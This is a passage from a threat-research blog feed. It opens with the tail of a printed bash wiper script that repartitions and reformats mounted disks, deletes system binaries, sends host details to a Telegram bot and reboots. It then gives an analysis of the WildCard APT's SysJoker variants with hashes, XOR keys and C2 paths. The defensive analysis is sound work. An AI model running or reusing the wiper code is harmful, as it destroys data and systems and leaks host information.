&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;##########################################################################################&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remove_os_file&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;reboot_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;which reboot&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;rm_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;which rm&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; file in /bin/* /sbin/* /usr/bin/* /usr/sbin/*&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; !&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$reboot_path&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; !&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$rm_path&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; !&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$reboot_path&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; !&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$rm_path&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; rm -f &lt;span class="nv"&gt;$file&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;######################################################################################### &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remove_file_system&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;mounted_partitions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;df -h &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{if (NR&amp;gt;1) print $6}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;root_partition&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;fs_type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;xfs&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;0%&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;end&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;100%&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; partition in &lt;span class="nv"&gt;$mounted_partitions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$partition&lt;/span&gt; !&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$root_partition&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;device_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;mount &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="nv"&gt;$partition&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;awk &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$device_name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; /dev* &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$device_name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; umount -lv &lt;span class="nv"&gt;$partition&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; parted -s &lt;span class="nv"&gt;$device_name&lt;/span&gt; mklabel gpt -- &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; parted -s &lt;span class="nv"&gt;$device_name&lt;/span&gt; mkpart primary &lt;span class="nv"&gt;$fs_type&lt;/span&gt; &lt;span class="nv"&gt;$start&lt;/span&gt; &lt;span class="nv"&gt;$end&lt;/span&gt; -- &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; parted -s &lt;span class="nv"&gt;$device_name&lt;/span&gt; ignore-optimization check &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; partprobe &lt;span class="nv"&gt;$device_name&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# Format the new partition&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; mkfs.&lt;span class="nv"&gt;$fs_type&lt;/span&gt; -f &lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;device_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;###############################################################################################&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remove_all_users
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remove_file_system
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;send_telegram_message&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r -d &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; message &lt;span class="s"&gt;&amp;lt;&amp;lt; EOF
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;Cleaning process completed on server HOST: $(hostname)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;IP: $(hostname -I)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;Disk volumes:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$(df -h --output=source,size,target)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; curl -s --retry &lt;span class="m"&gt;3&lt;/span&gt; --retry-delay &lt;span class="m"&gt;5&lt;/span&gt; -X POST &lt;span class="s2"&gt;&amp;#34;https://api.telegram.org/bot&lt;/span&gt;&lt;span class="nv"&gt;$telegram_bot_token&lt;/span&gt;&lt;span class="s2"&gt;/sendMessage&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -d &lt;span class="s2"&gt;&amp;#34;chat_id=&lt;/span&gt;&lt;span class="nv"&gt;$telegram_chat_id&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -d &lt;span class="s2"&gt;&amp;#34;text=&lt;/span&gt;&lt;span class="nv"&gt;$message&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -H &lt;span class="s2"&gt;&amp;#34;Content-Type: application/x-www-form-urlencoded&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;send_telegram_message &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remove_os_file
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reboot
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>WildCard: The APT Behind SysJoker Targets Critical Sectors in Israel</title><link>https://research.intezer.com/blog/2023/11/wildcard-evolution-of-sysjoker-cyber-threat/</link><pubDate>Mon, 27 Nov 2023 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2023/11/wildcard-evolution-of-sysjoker-cyber-threat/</guid><description>
&lt;p&gt;&lt;em&gt;Our research team has identified a new APT group, dubbed &amp;ldquo;WildCard,&amp;rdquo; initially
detected through its use of the SysJoker malware, which targeted Israel&amp;rsquo;s
educational sector in 2021. WildCard has since expanded its reach, creating
sophisticated malware variants disguised as legitimate software, and a recently
developed malware called &amp;lsquo;RustDown,&amp;rsquo; written in Rust for potential operational
advantages. Connections to Operation ElectricPowder indicate WildCard&amp;rsquo;s
advanced capabilities with a focus on critical sectors within Israel. While
we&amp;rsquo;ve begun to understand WildCard&amp;rsquo;s tactics and methods, their precise
identity is still enigmatic, demanding deeper analysis and collaboration within
the infosec community.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The current war between Israel and Hamas has brought increased interest in a
variety of threats targeting Israel. Of course, this includes the usual
suspects like Iranian, Hezbollah, and Hamas-affiliated groups that consistently
target Israeli organizations and are likely to increase their operational tempo
to match the current conflict. &lt;strong&gt;We believe the shadow of a previously
unidentified threat actor has slipped below the threshold and deserves greater
attention.&lt;/strong&gt; Its first sighting began with our discovery of the
&lt;a href="../../../2022/01/new-backdoor-sysjoker"&gt;SysJoker malware&lt;/a&gt; targeting the
educational sector in Israel in 2021. Since then, the group behind SysJoker has
evolved its tooling and targeting in important ways.&lt;/p&gt;
&lt;p&gt;As we continued to track this threat cluster, we found previously undiscovered
2022 variants masquerading as &amp;lsquo;DMAdevice&amp;rsquo; and &amp;lsquo;AppMessagingRegistrar&amp;rsquo; software,
both also written in C++. They share code and behavior patterns with our
original discovery of SysJoker for Windows. Then in October 2023, we noticed a
new malware written in Rust that shares behavioral traits with SysJoker. The
developers refer to the malware as &amp;lsquo;RustDown&amp;rsquo;. The original version of SysJoker
was used to target Windows, macOS, and Linux machines, the migration to Rust
might be an attempt to simplify multi-platform targeting in addition to making
it harder to analyze.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ve also uncovered possible connections with ClearSky&amp;rsquo;s
&lt;a href="https://www.clearskysec.com/iec/"target="_blank" rel="noopener"&gt;Operation ElectricPowder&lt;/a&gt;. If proven, we see
an actor displaying worrying capabilities and intent primarily targeting
different critical sectors in Israel. To better describe the threat actor that
ties these 3-4 different sets of activity together, we are clustering these
sets of activity under the name WildCard. At this time, we can better describe
WildCard&amp;rsquo;s TTPs across multiple operations and variants, but attribution
remains elusive.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/11/wildcard-evolution-of-sysjoker-cyber-threat/images/fig1.png" title="Timeline of WildCard operations." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Timeline of WildCard operations.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;The Original SysJoker Malware&lt;span class="hx:absolute hx:-mt-20" id="the-original-sysjoker-malware"&gt;&lt;/span&gt;
&lt;a href="#the-original-sysjoker-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In January 2022, we published our discovery of SysJoker, an unattributed
multi-platform backdoor leveraged against an educational institute in Israel.
SysJoker masqueraded as a system update and generated its command-and-control
by decoding a string retrieved from a text file hosted on GDrive. This dead
drop resolver method is a consistent theme in the WildCard threat actor&amp;rsquo;s
future operations, along with naming their malware after legitimate components.
Note that the development of C++ multi-platform backdoors is rare in the Middle
East and aroused further suspicion about the nature of the unidentified malware
developers.&lt;/p&gt;
&lt;h3&gt;Previously Undiscovered Variants Appear&lt;span class="hx:absolute hx:-mt-20" id="previously-undiscovered-variants-appear"&gt;&lt;/span&gt;
&lt;a href="#previously-undiscovered-variants-appear" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;After our publication, the WildCard threat actor continued to evolve their
malware, re-implementing some of the malware&amp;rsquo;s behaviors to avoid detection and
adding new capabilities. We found three samples of a malware variant written in
C++. Two named DMAdevice.exe and one named AppMessagingRegistrar.exe. These
variants were compiled five months after our original publication.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hash&lt;/th&gt;
&lt;th&gt;Compilation Timestamp&lt;/th&gt;
&lt;th&gt;Filename&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;e076e9893adb0c6d0c70cd7019a266d5fd02b429c01cfe51329b2318e9239836&lt;/td&gt;
&lt;td&gt;19 May 2022 18:07:42&lt;/td&gt;
&lt;td&gt;DMAdevice.exe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6c8471e8c37e0a3d608184147f89d81d62f9442541a04d15d9ead0b3e0862d95&lt;/td&gt;
&lt;td&gt;19 May 2022 18:05:18&lt;/td&gt;
&lt;td&gt;DMAdevice.exe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;67ddd2af9a8ca3f92bda17bd990e0f3c4ab1d9bea47333fe31205eede8ecc706&lt;/td&gt;
&lt;td&gt;19 Jun 2022 20:20:06&lt;/td&gt;
&lt;td&gt;AppMessagingRegistrar.exe&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;DMAdevice&lt;span class="hx:absolute hx:-mt-20" id="dmadevice"&gt;&lt;/span&gt;
&lt;a href="#dmadevice" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Using Intezer Analyze we were able to
&lt;a href="https://analyze.intezer.com/files/e076e9893adb0c6d0c70cd7019a266d5fd02b429c01cfe51329b2318e9239836?utm_campaign=research-blog&amp;amp;utm_content=wildcard-evolution-of-sysjoker-cyber-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;identify code reuse&lt;/a&gt;
between these samples and the original Windows SysJoker samples.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/11/wildcard-evolution-of-sysjoker-cyber-threat/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The structure of the main methods is largely similar, with some differences.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/11/wildcard-evolution-of-sysjoker-cyber-threat/images/fig3.png" title="Comparison between SysJoker and the DMAdevice variant." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Comparison between SysJoker and the DMAdevice variant.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Besides the shared code, the two DMAdevice variants share a unique string with
SysJoker, a custom alphabet:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghilmnopqrstuvmxyz&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Note the missing &amp;lsquo;jk&amp;rsquo; from the lowercase portion of the custom alphabet. This
is likely a minor slip on the part of the developers but one that has
consistently carried over into these newer variants.&lt;/p&gt;
&lt;p&gt;Previous versions of SysJoker used GDrive as a
&lt;a href="https://attack.mitre.org/techniques/T1102/001/"target="_blank" rel="noopener"&gt;dead drop resolver&lt;/a&gt;. The
retrieved file content is base64 decoded before it is decrypted using a
hardcoded RSA key as an XOR key. The decrypted data is the address of the
intended C2 server.&lt;/p&gt;
&lt;p&gt;The DMAdevice variant implements similar behavior but instead abuses OneDrive
as its dead drop resolver. Meaning that the threat actors retained the usage of
popular benign publicly-available services, unlikely to be blocked across the
network while keeping the ability to rotate the C2 as needed. The use of
OneDrive as a dead drop resolver continues into the RustDown variant.&lt;/p&gt;
&lt;p&gt;Interestingly, they have decided to remove the use of the RSA key but keep the
same scheme, replacing the key with a different string. In this case, after the
stack string is built up, the used XOR key is:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;QQL8VJUJMABL8H5YNRC9QNEOHA4I3QDAVWP5RY9L0HCGWZ4T7GTYQTCQTHTTN8RV6BMKT3AICZHOFQS8MTT&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/11/wildcard-evolution-of-sysjoker-cyber-threat/images/fig4.png" title="The XOR string being built on the stack." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The XOR string being built on the stack.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The hardcoded User Agent string also changes, as follows:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;AppMessagingRegistrar&lt;span class="hx:absolute hx:-mt-20" id="appmessagingregistrar"&gt;&lt;/span&gt;
&lt;a href="#appmessagingregistrar" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;This variant was compiled after the DMAdevice version. While it also
&lt;a href="https://analyze.intezer.com/files/67ddd2af9a8ca3f92bda17bd990e0f3c4ab1d9bea47333fe31205eede8ecc706?utm_campaign=research-blog&amp;amp;utm_content=wildcard-evolution-of-sysjoker-cyber-threat&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;shares code&lt;/a&gt;
with SysJoker, this variant implements different capabilities. For example, it
uses multiple XOR keys to decode strings. This variant also uses different url
paths:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/api/update&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/api/register&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/api/library&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/api/requests&lt;/code&gt;&lt;/li&gt;
